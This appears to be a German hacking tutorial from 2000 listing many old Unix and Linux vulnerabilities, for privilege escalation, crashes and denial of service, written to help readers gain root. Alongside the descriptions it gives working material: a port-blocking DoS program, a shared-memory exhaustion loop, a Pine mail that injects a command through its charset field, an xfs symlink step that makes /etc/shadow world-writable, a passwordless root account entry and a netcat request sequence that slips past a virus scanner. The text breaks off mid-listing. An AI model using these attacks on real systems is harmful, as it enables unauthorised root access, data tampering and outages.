So hallo zusammen, hier ist ein kleines großes tut, das einige Sicherheitslücken beschreibt, die mir in meiner karriere bis jetzt geholfen haben, um immer etwas mehr auf dem Kasten zu haben, als der arme admin. Wie bei jedem tut von tiamat, wird auch in diesem wieder expliziet beschrieben, wie mein ein System hacken oder gar crashen könnte. Ich distanziere mich ganzklar von solchen Aktivitäten, da dies nicht im Sinne eines wahren hackers sein kann. Ich wünsche euch auch wieder bei dieser wissenschaftlichen Abhandlung viel Spass und erfolg. Bei Fragen, Anregungen... bin ich unter dr.tiamat@gmx.de zu erreichen oder auch im forum für die hacker der alten schule: http://f24.parsimony.net/forum55261/ Da dieses tut viele Bugs enthält, die schon etwas älter sind, kann es natürlich sein, dass sie nicht mehr funzen, aber mein Gott, das tut soll ja auch helfen, sicherheitslücken bei neueren syses zu entdecken, also viel spass. Ach ja, die Sicherheitslücken und methoden die ich in meinen anderen tuts schon veröffentlicht habe, sind hier - größtenteils- nicht aufgeführt. Also wie gesagt, dieses tut ist zum Erlernen, zum Ersehen von Lücken da, es kann sein, dass viele davon nicht mehr aktuell sind. Aber vielleicht habt ihr ja Glück. P.S. aktuallität zum schluss ziemlich groß Wer job will -->mailen geschrieben am 21. september 2000 (sagt nichts über die Veraltung aus) * Fehler im KDE bei linux und freebsd (ältere Versionen) Bei folgenden programmen kann man superuser rechte erlangen: kppp und klock. Es besteht die Möglichkeit, daß lokale Benutzer SuperUser Rechte erlangen, lokale Prozeße killen und verteckte Verzeichnisse erzeugen können. Das grundsätzliche Problem bei diesen KDE-Programmen liegt darin, daß sich KDE zu sehr auf Umgebungsvariablen der Benutzer verläßßt. So speichert z. B. klock die PIDs seiner Prozesse in der Datei .kss.pid im Homeverzeichnis des entsprechenden Benutzers. Nun kann man über die HOME Variable klock vorgaukeln, daß /tmp das Homeverzeichnis sei, und kann in .kss.pid eine beliebige PID schreiben, der entsprechende Prozeß wird dann terminiert. Im Zusammenhang mit klock findet man auch noch Probleme mit Race Conditions usw. Mit Hilfe von kppp kann ein Benutzer auch leicht einen Buffer Overflow herbeiführen, indem er einfach die PATH-Environvariable entsprechend groß (lang) wählt, da kppp die Länge dieser Variable nicht überprüft: if(getenv("PATH") != NULL) strncat(path, getenv("PATH"), sizeof(path)-512); * Fehler in Samba Es wurden zwei unabhängige Fehler in Samba entdeckt. Das erste Problem liegt darin, daß das Program wsmbconf setgid root installiert wird und für jeden Benutzer ausführbar ist. Das zweite Problem liegt in dem spec-File (für RPM). Dies ist so angelegt, daß es ein world-writeable Spool-Verzeichnis /var/spool/samba erzeugt, jedoch das t-Dateibit nicht setzt. Der erste Fehler erlaubt es nicht-priviligierten Benutzern Lese-/Schreibzugriff auf Dateien zu erlangen, auf die die root-Gruppe Zugriff hat. Der andere Fehler erlaubt es jedem Benutzer den Inhalt von auszudruckenden Dokumenten anderer Benutzer zu modifizieren. Sollte es sich dabei um einen Interpreter (wie z.B. ghostscript) handeln, so kann der Angreifer beliebige Anweisungen einfügen, und so Zugriff auf beliebige Dateien des Benutzers erhalten, der den Druckauftragt sendet. Der wsmbconf-Fehler betrifft die Binary Version von Samba-1.9.18 (RedHat Linux, Caldera OpenLinux und PHT TurboLinux). Der zweite Fehler betrifft alle Binary Versionen von Samba, die mit RedHat 4.0 bis 5.2 vertrieben werden. Es wird vermutet, daß auch Caldera und TurboLinux davon betroffen sind (Stand 19.11.1998). Alle Versionen / Plattformen, auf denen Samba erst erzeugt wurde (also Quelltext Distributionen als *.tar.gz) sind davon nicht betroffen, da die Fehler mit dem RPM Paket von Samba zusammenhängen. * Bootpd Remote-Attacken Anfang Dezember wurde über Sicherheitslöcher in bootpd 2.4.3 diskutiert, die unter Umständen auch Remote Superuser-Zugriff ermöglichen sollen. Konkret geprüft wurden: OpenBSD (Patches waren schon Enden November verfügbar) und BSDI. Es wurde zwar auch ein Exploit für Debian (1.2 und 2.0/glibc) veröffentlicht, der sich jedoch auf ein älteres Problem in bootpd bezog. Die aktuelle Schwachstelle liegt in der Datei bootpd.c: hlen = haddrlength(bp->bp_htype); if (hlen != bp->bp_hlen) { report(LOG_NOTICE, "bad addr len from %s address %s", netname(bp->bp_htype), haddrtoa(bp->bp_chaddr, hlen)); } dummyhost.htype = bp->bp_htype; bcopy(bp->bp_chaddr, dummyhost.haddr, hlen); hashcode = hash_HashFunction(bp->bp_chaddr, hlen); Hierbei ist bp_htype ein vorzeichenloser char-Wert, der dem gesendeten Paket entnommen wird. Die verdächtige Funktion in diesem Code-Ausschnitt ist bcopy, die den Wert hlen benutzt, um eine bestimmte Anzahl von Bytes aus dem gesendeten Paket in eine Struktur auf dem Stack zu packen. Der Wert hlen wird vom Makro #define haddrlength(type) ((hwinfolist[(int) (type)]).hlen) zurückgeliefert. Dieses Makro liefert anhand der Tabelle hwinfolist je nach Typ (bp_type) des Pakets einen Wert hlen aus einer Struktur der folgenden Form struct hwinfo { unsigned int hlen; char *name; }; Das Problem liegt nun darin, dass man durch ein entsprechend geformtes Paket bp_htype so modifizieren kann, dass dieses auf eine Struktur hinter der hwinfolist-Tabelle zeigt, da diese statische Tabelle nur eine bestimmte Anzahl von Strukturen beinhaltet. Wird nun ein Zugriff auf diesen Speicher, der hinter hwinfolist liegt, durchgeführt, so erhält man als Rückgabewert des Makros keinen regulären hlen-Wert, sondern einen der durch das Speicherbyte hinter der Tabelle festgelegt wird. Ist dieser Wert nun groß genug, so kann man mit Hilfe der bcopy-Funktion den Stack überlaufen. Also schreibt euch einen exploit und dann gehts auf. Ich hab schon einen vorbereitet, der ist aber os-spezifisch, wenn ihr ihn mal wollt, dann mailt mir. oksen. * Dosemu's S-Lang Buffer Overflow So hier mal wieder eine beschreibung für einen überflieger. Ziel dieses dings: Superuserreechte ganz klar. Eigentlich wurde der fehler schon gepatched (bei redhat), aber komischerweiße funktioniert es immer noch, also sollten sich die jungs mal leute anstellen, die es rocken! Der Fehler in der dosemu eigenen S-lang Library liegt in der Datei sldisply.c (Zeile 1616): SLtt_get_terminfo (void) ... char err_buf[512]; sprintf (err_buf, "Unknown terminal: %s\n\...cut", term); Die Environment Variable TERM kann von einem angemeldeten Benutzer frei definiert werden. Sollte sie jedoch größer als 512 Bytes sein, so reicht der Platz in dem Puffer err_buf nicht mehr aus, um diese Variable aufzunehmen, weshalb es zu einem Buffer Overflow kommt. Neben dieser Overflow-Bedingung wurde noch eine zweite entdeckt. Er befindet sich in den Dateien sldisply.c und sltermin.c in den Zeile 1647 bzw. 229: sldisply.c Zeile 1647: #ifndef USE_TERMCAP if (NULL == (Tbuf = tgetent (term))) sltermin.c Zeile 229: char file[256]; char *SLtt_tigetent (char *term) ... tidir = Terminfo_Dirs[i]; if (tidir != NULL) { sprintf (file, "%s/%c/%s", tidir, *term, term); So hier die nummer zwei. Dieser zweite Overflow findet sich jedoch nicht in allen dosemu-Versionen. Hier kann man die file-Variable durch Setzen der TERMINFO Umgebungsvariablen überfüllen. Beide Overflows sind nur lokal anwendbar und treten nur dann auf, wenn TERMCAP auf dem System definiert ist. Wie dieses ding das erste mal pseudogepatched wurde, hieß es, dass nur redhat betroffen sei. Leider - gottsei dank - geht das aber auch bei anderen, also viel spass. * Fehler in cgic-Lib An sich finde ich die Zeilen von Thomas Boutell immer recht sicher und schön, doch in seiner cgic-Library hat er einen bufferoverflow für uns hinterlegt, danke thomas. Liegen tut das ganze in der funktion cgiFormEntryString(). Das Problem liegt in einer nicht korrekt arbeitenden Längen-Ðberprüfung, so daß man relativ leicht einen Overflow erzeugen kann. Jaja, hier ist ein kleines beispiel, damit dieses tut nicht zu theoretisch wird. Falls ihr noch wissen wollt, was dieses ding macht : Es ruft einen Segmentation Fault in testcgic hervor, mhm. $ REQUEST_METHOD=GET QUERY_STRING= 'address=<240 x letter 'A'>%0A<1000 x letter 'A'>' ./cgictest Content-type: text/html
Segmentation fault (core dumped) * Linux DoS angriff auf port Also es ist möglich Port (>1024) permanent zu belegen, so daß dieser Port praktisch unbenutzbar ist bis zu einem nächsten Reboot. Das Programm öffnet zuerst einen Port, danach wird ein Thread benutzt, um den Port mit select zu bearbeiten, während ein anderer den Port schließt. Aufgrund des select-Aufrufs scheitert jedoch der close-Befehl. Anschließend ist es nicht mehr möglich einen close-Befehl auf diesen Port (besser Socket) auszuführen. Hier mal ein listin, damit man das auch besser versteht! // gcc killport.c -lpthread -o killport #include #include #include #include #include #include #include #include volatile int s; void *Thread1(void *a) { int i,p; struct sockaddr_in to; fd_set fd; s=3Dsocket(AF_INET, SOCK_STREAM, 0); if(s<=3D0) return; memset(&to, 0, sizeof(to)); srand(getpid()); /* we pick a random port between 50000 and 59999 */ p=3D(rand()%10000)+50000; printf("port =3D %d\n", p); fflush(stdout); to.sin_port=3Dhtons(p); to.sin_addr.s_addr=3D0; to.sin_family=3DAF_INET; if(bind(s, (struct sockaddr *)&to, sizeof(to))< 0) fprintf(stderr,"no bind\n"); if(listen(s,10)!=3D0) fprintf(stderr,"No Listen\n"); /* now we are listening on that port */ i=3Dsizeof(to); FD_ZERO(&fd); FD_SET(s,&fd); select(s+1,&fd,NULL,NULL,NULL); /* at this point we have selected on it as well */ fprintf(stderr,"select returned!\n"); } void *Thread2(void *a) { close(s); fflush(stderr); abort(); } void main(void) { pthread_t j; pthread_create(&j,NULL,Thread1,NULL); usleep(100); /* give the other thread time to finish */ pthread_create(&j,NULL,Thread2,NULL); while(1) sleep(1); } * mSQL Buffer Overflow Also hier ein bufferoverflow zu msql. Enjoy: void _msqlDebug(va_alist) va_dcl { va_list args; char msg[10240], .... (void)vsprintf(msg,fmt,args); ... Die Funktion _msqlDebug(...) wird in msql/msqld.c aufgerufen : FD_SET(newSock,&clientFDs); uname = (char *)strtok(packet,"\n"); msqlDebug(MOD_GENERAL,"User = %s\n",uname); safeFree(conArray[newSock].user); conArray[newSock].user = (char *) strdup(uname); sprintf(packet,"-100:\n"); writePkt(newSock); Das heißt, wenn mSQL im Debugmode ausgeführt wird, kommt es bei einer Username-Länge > 10240 zu einem Overflow. Ich hoffe, ihr macht damit nix dummer! * Linux PAM Linux Pluggable Authentication Modules (pam-0.64-2) sind anfällig für ein Race Problem. Das betroffene Modul ist pam_unix_passwd.so, was durch den Fehler dazu benutzt werden kann Lese-/Schreibzugriff auf die /etc/shadow- Datei zu erhalten. Betroffen ist nahezu jede Linux-Distribution (außer RedHat 5.x, weil dort pam_pwdb.so standardmäßig benutzt wird). Die genaue Stelle an der der Fehler zu finden ist, liegt in der Paßwort-Änderungsroutine aus pam_unix_passwd.so, welche von passwd aufgerufen. Diese Routine erzeugt eine temporäre Datei /etc/nshadow via fopen(), wobei umask nicht geändert wird! Erst nach 3 Systemcalls wird chmod aufgerufen, um den Modus 0600 zu setzen. Vor diesen Systemcalls haben die Dateien die umask 0666. Setzt man nun für den aktuellen Prozeß umask 0, so hat man Zugriff auf die Shadow- Datei- Für die Soforthilfe ist folgender Befehl die schnellste, aber auch schlechteste Lösung : chmod -s /usr/bin/passwd * zu sendmail oh mein good old dirty sendmail, eigentlich ist das ein eigenes tut wert, werde ich auch machen denke ich, ja, wenn interesse besteht, schreib ich euch eins. Einfach mailen: Dr.Tiamat@gmx.de * suse also hier ein problem mit der druckerkontrolle von suse. Eingetnlich dürfte dieses problem nicht mehr bestehn, aber ich poste es mal, vielleicht habt ihr ja glück. der fehler liegt in /usr/bin/lpc (4.0.3), man kann dort als lokaler Benutzer SuperUser-Rechte zu erlangen. Wie so oft liegt das Problem im Fehlen einer Längenkontrolle eines Strings, der vom Benutzer bereitgestellt wird. Die genaue Stelle des Fehlers liegt in den Dateien displayq.c und control_ops.c: Guckt mal. char afname[MAXPARMLEN]; /* attach file name */ ... if (fscanf (afp, "%s", afname) == 1) { Also und was sehn wir da? Hä? Richtig, daß das Ausführen der fscanf-Funktion mit dem nicht überprüften afname String leicht zu einem Overflow führen kann. Und das wollen wir doch, oder? * Pine Und mal was zu pine(lich)[meingottichbinsokomisch]. Es geht darum, dass ein dau der seine mail mit pine liest unsere orders ausführt. . Diese Befehle können je nach Benutzerrechten mittleren bis großen Schaden auf dem System hervorrufen. Vor allem gesicherte Netzwerke, die jedoch die Mails nicht entsprechend filtern, können durch solche Angriffe schnell getroffen werden. Betroffen sind sämtliche Unix Systeme, die Pine in der Version 4.10 oder früher benutzen. Der Fehler liegt in einer fehlerhaften (wobei es hier zu heftigen Diskussionen kam, wie ein MUA dies besser machen könnte) Verarbeitung der mailcapDaten in der Datei mailcap.c. Steht in einer /etc/mailcap -Datei (global) folgendeZeile : text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput so sollte diese in die folgenden Sequenz umgewandelt werden. [...] execve (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]' '[a-z]'`" = iso-8859-1) Trotzdem ist es möglich durch eine entsprechende eMail das Expansions- verhalten so zu ändern, dass das Ausführen von beliebigen Befehlen ermöglicht wird. Eine solche Mail könnte zum Beispiel folgendermaßen aussehen: From: Dr.Tiamat@gmx.de To: cracker@fuck.com Subject: nick ta mere ... MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319" --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset='US-ASCII' Beliebiger Text des Mailbody --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c" Content-Transfer-Encoding: BASE64 Content-Description: wish Content-Disposition: attachment; filename="mere.c" ... Sollte diese Mail mit dem fehlerhaften Pine-Programm gelesen werden, so wird der Befehl touch ME auf dem System ausgeführt. * autofs-Overflow Nu denn, auf zum overflow. Folgen dieses Softwarefehlers können eine "Denial of Service"- oder gar "lokale SuperUser Rechte"-Attacke sein. Der Fehler entsteht dabei folgendermaßen: Ein lokaler Benutzer wechselt innerhalb eines autofsVerzeichnisses in ein anderes Verzeichnis. autofs wird versuchen nach dem sys_chdir()-Systemcall mit Hilfe der Funktion autofs_root_lookup() (fs/autofs/root.c) das entsprechende Verzeichnis zu finden. Diese Routine erhält (grob gesagt) einen Zeiger auf den String der den Pfad spezifiziert und die Länge des Strings; diese Werte werden durch dentry->d_name.name bzw. dentry->d_name.len übermittelt. Nach einigen weiteren Schritten innerhalb der autofs_root_lookup()-Funktion wird schließlich die Funktion autofs_wait() (fs/autofs/waitq.c) aufgerufen. Folgende Zeilen zeigen den vereinfachten Aufbau der autofs_root_lookup()-Funktion: static int autofs_root_lookup(struct inode *dir, const char *name, int len, struct inode **result) { ... status = autofs_wait(sbi,hash,name,len); ... return 0; } jaja schon recht, ich weiß sehr vereinfacht, aber ich schreib seit ungefähr 3 Stunden, und werd jetzt nach dem dingens hier ein päuschen machen, vielleicht gehts dann besser. Ich werd auch die Kathi anrufen, mit der war ich gestern wieder weg, aber wir haben nicht miteinander geschlafen, nur ein bißle geknutscht. Toll gell, ja, aber sie hat einen freund. Einen österreicher und sie gibt mir die emailadresse nicht, sowas ;) Aber genug von mir, wieder zurück zum linux, sorry. Innerhalb der Funktion autofs_wait() werden unter anderem der Pfadname (Zeiger) und die entsprechende Stringlänge in eine Struktur namens wq kopiert. Diese Struktur wird anschließend der Funktion autofs_notify_daemon() übergeben. Innerhalb dieser Funktion werden die Informationen aus wq in die Struktur pkt kopiert. Diese Struktur wird dann an autofs_write() übergeben, die die eigentliche Verbindung zu dem User Prozeß Dämon automountd herstellt und so die weitere Verarbeitung einleitet. Das Problem liegt nun in der Speicherung des Pfadnames innerhalb der wq-Struktur (Zeiger) in die pkt Struktur. Dort wird der Pfadname nämlich in einen Puffer fester Größe (255 Bytes / Zeichen) kopiert. An keiner Stelle vorher wurde die Länge des Pfad- names überprüft, er wurde von dentry->d_name.name ausgehend stets als Zeiger weitergereicht. Ein Angreifer oder ein unvorsichtiger Benutzer könnte nun durch einen Pfadnamen mit mehr als 255 Zeichen das System angreifen. Folgende Zeilen stellen den Problembereich dar (das kostete jetzt aber kraft man): struct autofs_packet_missing pkt; struct autofs_packet_missing { struct autofs_packet_hdr hdr; autofs_wqt_t wait_queue_token; int len; char name[NAME_MAX+1]; }; pkt.name is copied using this method: pkt.len = wq->len; /*Overflow Gefahr !*/ memcpy(pkt.name, wq->name, pkt.len); pkt.name[pkt.len] = '\0'; Ihr könnt nahezu alle speicher angreifen, seit aber vorsichtig ja. So, jetzt mach ich ne pause. Servus. Bis gleich. * NcFTP-Server DoS In der NcFTP-Software wurde ein Fehler entdeckt, der zu einer - wenn auch nicht sehr schwerwiegenden - Denial of Service (DoS)-Attacke führen kann. Führt ein Angreifer einen PORT-Befehl aus, der mehr als 64 Zeichen aus dem Bereich '0' bis '9' als Parameter enthält, wird die aktuelle Verbindung unterbrochen. Folgende Anweisungen demonstrieren das recht harmlose Problem: host:$ telnet victim 21 220 victim NcFTPd Server (unregistered copy) ready. user anonymous 331 Guest login ok, send your complete e-mail address as password. pass angreifer@internet 230-You are user #5 of 50 simultaneous users allowed. 230- 230 Logged in anonymously. port 00000000000000000000000000... (mehr als 64 Zeichen) 501 Syntax error in parameters. host:$ * GNUplot, svgalib & Co. leider auch nicht mehr aktuell meine freunde, aber wie gesagt, dieses tut ist zum Erlernen da und soll nicht einen weg zum ewigen root geben (oder doch). Auf System wo /usr/bin/gnuplot suid root läuft (z.B. SuSE 5.X, 6.X), besteht die Gefahr eines Angriffs durch einen lokalen Benutzer, der dann SuperUser- Rechte erlangen kann.Der Fehler liegt in der Datei plot.c: char home[80]; char *tmp_home=getenv(HOME); strcpy(home,tmp_home); Es ist offensichtlich, daß durch einfaches Setzen der $HOME-Umgebungs- variable auf einen Wert mit einer Länge größer 80 ein einfacher Buffer Overflow auftritt. Dieser Overflow ist jedoch nicht so leicht auszunutzen, da gnuplot die SuperUser-Rechte schon vor diesem fehlerhaften Programmteil wieder abgegeben hat, so daß wir praktisch gar nichts durch das Starten einer Shell (oder eines anderen Programms) erreicht, da sich die UID nicht geändert hat. Das Problem liegt jedoch darin, daß die SVGA-Bibliothek svgalib (wird von gnuplot benutzt) Schreibrechte auf /dev/mem hält (bzgl. der SVGA- Bibliothek wurde auf dieselbe Art ein Fehler in zgv ausgenutzt). Diese Schreibrechte (besser gesagt ein offenes Schreibhandle) können genutzt werden, um den Systemspeicher via /dev/mem so zu modifizieren (bekannt unter dem Begriff 'runtime kernel patching'), daß die UID eines beliebigen Prozesses auf 0 gesetzt wird. So haben wir wieder SuperUser-Rechte, obwohl gnuplot diese vorher abgab. Um all diese Schritte auszuführen müssen wir lediglich den Buffer Overflow in gnuplot dazu nutzen ein Programm zu starten, welches das geöffnete Handle auf /dev/mem benutzt um die Taskstruktur des aktuellen Prozesses zu modifizieren. An dieser Stelle sei gesagt, daß dies ein allgemeines Problem der SVGA-Bibliothek ist. Programme wie zgv, gnuplot... erhalten dadurch ein offenes Schreibhandle in /dev/mem, was leicht dazu benutzt werden kann ein System anzugreifen. * VirusWall-Fehler ? Also, nein, ich bin kein virusfreak, aber es gehört genau so erwähnt, ich habe diese lücke nie genützt, kann dazu also auch keine stellungsnahme abgeben. BlackHats hat in einem Advisory auf ein Problem in der InterScan Viruswall (Trend Micro) Software für Solaris (nur diese Version wurde getestet) hingewiesen. Laut BlackHats war es Trend Micro jedoch nicht möglich diesen Fehler zu reproduzieren, so daß bis dato keine Veränderung an der Software vorgenommen wurde. Normalerweise filtert die VirusWall den gesamten Datenverkehr (SMTP, HTTP, FTP, usw.) zwischen internem und äußeren Netz. Wird dabei ein Virus (z.B. in einer Binärdatei) gefunden, so wird dieser entfernt. BlackHats ist es nun angeblich gelungen mit Hilfe zweier verschachtelter HTTP GET-Befehle eine infizierte Datei auf einen Rechner hinter der InterScan VirusWall zu laden. Dazu haben sie zuerst eine Bilddatei (gif-Format) mit dem ersten GET angefordert. Die zweite GET Anweisung war dann für das Laden der infizierten Datei verantwortlich. Folgende Anweisungen reproduzieren diese Sequenz (Shellscript): #!/bin/sh echo "GET http://www.antivirus.com/vinfo/images/amb1.gif HTTP/1.0 Referer: http://www.antivirus.com/index.html Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.5 [en] (WinNT; I) Host: www.antivirus.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg image/png Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 GET http://infizierte_Datei HTTP/1.0 Referer: http://infizierte_Datei Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.5 [en] (WinNT; I) Host: ... Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 " | nc viruswall 80 > the.results * Xfree86 ;) Bug Betroffen sind alle distributionen, ganz klar, ich möchte hier aber nur auf redhat und suse eingehen. betrachtet mal das listing: (redhat) user@localhost /tmp]$ cat /etc/shadow cat: /etc/shadow: Permission denied #man beachte die Dateirechte von /etc/shadow [user@localhost /tmp]$ ls -all /etc/shadow -r-------- 1 root root 544 Mar 30 00:04 /etc/shadow #nun erzeugt man einen sym. Link [user@localhost /tmp]$ ln -s /etc/shadow .font-unix #dann hat man folgendes Bild [user@localhost /tmp]$ ll total 2 drwxrwxrwt 2 root root 1024 Mar 30 00:05 . drwxr-xr-x 18 root root 1024 Mar 23 00:10 .. lrwxrwxrwx 1 user users 11 Mar 30 00:05 .font-unix -> /etc/shadow #danach als root xfs ausführen, welches /tmp/.font-unix erzeugt: [root@localhost /root]# xfs & [1] 2021 [root@localhost /root]# _FontTransSocketCreateListener: failed to bind listener _FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed _FontTransMakeAllCOTSServerListeners: failed to create listener for local #durch den Fehler ergibt sich jetzt folgende Ausgabe [user@localhost /tmp]$ ls -all /etc/shadow -rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow Man kann diesen angriff auf alle dateien ausführen, also ein gewaltitiges tool. * Linux 2.x IPC Nix besonderes, ihr könnt mit dem folgenden programm - als beliebiger benutzter den kompletten speicher belegen (wow, ein hübsches mädchen läuft gerade an meinem fenster vorbei). extern int errno; int i,d=1; char*x; main() { while(1) { //shared Memory Operationen ausführen x=shmat(shmget(0,10000000/d,511),0,0); if(errno) {d*=10;continue;} for(i=0; i < 10000000/d; i++) if(*(x+i)); } } * IPFILTER-v3.2.10 Das IPFilter-Paket stellt einen TCP/IP-Paketfilter dar, der häufig im Zusammenhang mit Firewallsystemen benutzt wird. Dort ist er für die Überwachung (Filterung) des TCP/IP-Verkehrs verantwortlich. Nun wurde ein Fehler in diesem Programm-Bundle entdeckt, der in der Datei ip_fil.c (Applikation) steckt und sich an folgender Stelle manifestiert : sprintf(fname, "/tmp/%s", ifp->if_xname); if ((fp = fopen(fname, "w"))) fclose(fp); Die Datei im /tmp-Verzeichnis wird benutzt um bestimmte Ausgaben zu speichern. Nun ist es möglich einen symbolischen Link (symlink-Problem) auf eine Systemdatei zu setzen (von tmp-Datei ausgehend). Führt anschließend ein Benutzer mit entsprechenden Privilegien das fehlerhafte Programm aus, so werden diese Dateien überschrieben (z.B. Paßwortdatei). Die Privilegien sind notwendig, da das fehlerhafte Programm nicht setuid root läuft, wodurch größere Probleme vermieden werden. Das IPFilter-Paket wird standardmäßig mit OpenBSD, FreeBSD (>2.2) und NetBSD (>1.2) ausgeliefert. Installiert man das Paket auf anderen Systemen (Linux, IRIX, ...) so hat man sehr wahrscheinlich auch mit diesem Fehler zu kämpfen ;) * libc RPC Also ein problemchen in der libc von rpc. Gott sei dank überprüft libc nicht wieviele Sockets schon erstellt wurden und wann dies geschah. Aufgrund dieser Tatsache ist eine Denial of Service Attacke möglich, die Programme wie den Portmapper lahmlegen, wodurch zahlreiche Dienste betroffen sind (z.B NFS). Laut KKI findet sich dieser Fehler in allen libc-Versionen bis zur aktuellen. Betroffene Systeme sind Linux-x.x und FreeBSD-x.x, wobei KKI noch keine weiteren Tests durchführte, so daß auch andere Systeme betroffen sein könnten. Bei Systemen, auf denen eine Grenze für die Deskriptor Anzahl eines Prozesses gesetzt ist, tritt dieser Fehler nicht auf, da hier der Schutz- mechanismus (Deskriptor Anzahl) vorher aktiv wird. Im folgenden ist ein Auszug aus dem original DoS-Angriffsprogramm abgedruckt: ... for(;;) { if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0) { fprintf( stderr, "socket error at %d\n",n); break; } if( connect( sockfd,(struct sockaddr*) &victim_addr, sizeof( victim_addr)) < 0) { fprintf( stderr,"connect error at %d\n",n); break; } n++; } ... Der oben gezeigte Programmausschnitt zeigt den immer wieder auftretenden Verbindungsaufruf, der zur Dienstverweigerung (des Portmappers) führt. * NetBSD Kernel-Bug Ein kleiner bug, der zu einem kernel hang oder panic führen kann. so funztztztztzt: % ln -s ./ link % ln -s ./ link Der Fehler liegt dabei in der Datei vfs_lookup.c an folgender Stelle: if ((cnp->cn_flags & LOCKPARENT) && ndp->ni_pathlen == 1) * Caldera Paßwort Bugs Das hört man doch gern, ein paßwort bug und dazu auch noch relativ aktuell. Insgesamt haben wir sogar 2 fehler, werde hier aber nur einen behandeln, da der erste gepatched und sowieso uncool ist/war. Der zweite gefundene Fehler betrifft die Benutzung der LISA Boot Diskette. Man fand heraus, dass während der Installationsprozedur eine temporäre Paßwortdatei erzeugt wird, die einen paßwortlosen Account namens help erhält, der UID 0 gesetzt ist (also SuperUser-Rechte hat). Nachdem die Installation beendet ist wird der Benutzer - wie bei den meisten anderen Distributionen auch - aufgefordert das root- Paßwort zu setzen und einen Default-Benutzer anzulegen. Anschließend wird eine Paßwortdatei (/etc/passwd und /etc/shadow) mit den entsprechenden Accounts erzeugt. Der Fehler liegt nun darin, dass der während der Installtion eigentlich temporär angelegte help-Account mit SuperUser-Rechten nach Abschluß immer noch existiert. Dadurch können wir nun einfach über die help-Kennung ohne Paßwort SuperUser-Rechte auf einem System erlangen. Die entsprechenden Einträge können z.B. so aussehen: etc/passwd help:x:0:0:install help user:/:/bin/bash /etc/shadow help::10709:0:365:7:7:: So, was fällt uns jetzt noch zusätzlich auf, ihr sollt ja was lernen hier. Genau, das könnte doch genauso gut ein trojaner sein, oder. Und warum, na da der Autor dieser eMail sein OpenLinux 2.2 von einem FTP Server bezog. Gellens. * INN Bug Der Internet News Server INN ist sehr weit verbreitet und fester Bestandteil zahlreicher Linux-Distributionen. Nun wurden zwei Fehler im Zusammenhang mit diesem Server entdeckt, die es dem lokalen User news oder sogar beliebigen lokalen Benutzern ermöglichen, beliebige Befehle als SuperUser durchzuführen. INN benutzt wie viele andere Server auch einen suid root wrapper, der mit UID 0 eine Verbindung (binding) zu Port 119 (priviligierter Port) aufbaut, anschließend die UID auf die eines normalen Benutzers (hier z.B. news) setzt und den eigentlichen Server innd ausführt. Sinn dieses sehr oft benutzten Verfahrens ist es, möglichen Softwarefehler, bestimmten Befehle usw. im Server durch die Vergabe einer UID eines Benutzers nicht zu viele Rechte zu geben. Der erste nun gefundene Fehler betrifft alle INN-Versionen ab 2.0. Der innd-Wrapper inndstart erhält die Information über die endgültige UID aus der Angabe eines Verzeichnisses dessen UID und GID inndstart für die Ausführung von innd übernimmt. Der Pfad zu diesem Verzeichnis wird in der inn.conf-Datei unter pathrun festgelegt. Normalerweise handelt es sich hierbei um ein Verzeichnis mit der UID des Benutzers news. Der Fehler liegt nun darin, dass der Benutzer news die pathrun-Variable auf ein beliebiges Verzeichnis (z.B. eines mit UID 0) setzen kann, so dass innd mit SuperUser- Rechten läuft. Dadurch ist es möglich über diesen Server Befehle mit UID 0 auszuführen. Der zweite Fehler findet sich in allen INN2.x- Servern erschienen nach dem 9. Juli 1998. Durch die Manipulation der INNCONF-Um- gebungsvariable ist es für einen beliebigen, lokalen Benutzer möglich ein entsprechend spezifiziertes Programm entweder als Benutzer news oder (falls der erste Fehler auch vorhanden ist) als root auszuführen. Schutz vor diesem Angriff erreicht man durch das Setzen von 0700-Rechten (Benutzer news) für das Verzeichnis in dem inndstart zu finden ist. * FreeBSD Sockets Hierbei gehts mal um ein Problem in der Socketimplementierung von FreeBSD, welches unter Umständen zu einem Systemabsturz führen kann. Der Fehler betrifft den sendmsg()- bzw. recvmsg()-Mechanismus. Folgender Server wurde von KKI zur Demonstration entwickelt (verkürzte Fassung): KKI ist übrigens cool, nur so: void server() { /*-Variable deklarieren - einige Tests durchführen und einen Socket(AF_UNIX und SOCK_DGRAM) mit sockfd als Handle erzeugen - Adresse setzen*/ bind( sockfd,(struct sockaddr *) &addr,addr.sun_len); for (;;) { fd = open( SOME_FILE,O_RDONLY); len = sizeof( addr.sun_path); recvfrom( sockfd,&data,sizeof( data),0, (struct sockaddr *) &addr,&len); ancdbuf.hdr.cmsg_len = sizeof( ancdbuf); ancdbuf.hdr.cmsg_level = SOL_SOCKET; ancdbuf.hdr.cmsg_type = SCM_RIGHTS; ancdbuf.fd = fd; mymsghdr.msg_name = (caddr_t) &addr; mymsghdr.msg_namelen = len; mymsghdr.msg_iov = NULL; mymsghdr.msg_iovlen = 0; mymsghdr.msg_control = (caddr_t) &ancdbuf; mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len; mymsghdr.msg_flags = 0; sendmsg( sockfd,&mymsghdr,0); close( fd); } } Der entsprechende Client hat folgende Form (wieder verkürzt) : void client() { /*siehe Server Listing*/ bind( sockfd,(struct sockaddr*) &addr_c,addr_c.sun_len); sendto( sockfd,&data,sizeof( data),0, (struct sockaddr *) &addr_s, addr_s.sun_len); len = addr_s.sun_len; ancdbuf.hdr.cmsg_len = sizeof( ancdbuf); ancdbuf.hdr.cmsg_level = SOL_SOCKET; ancdbuf.hdr.cmsg_type = SCM_RIGHTS; mymsghdr.msg_name = NULL; mymsghdr.msg_namelen = 0; 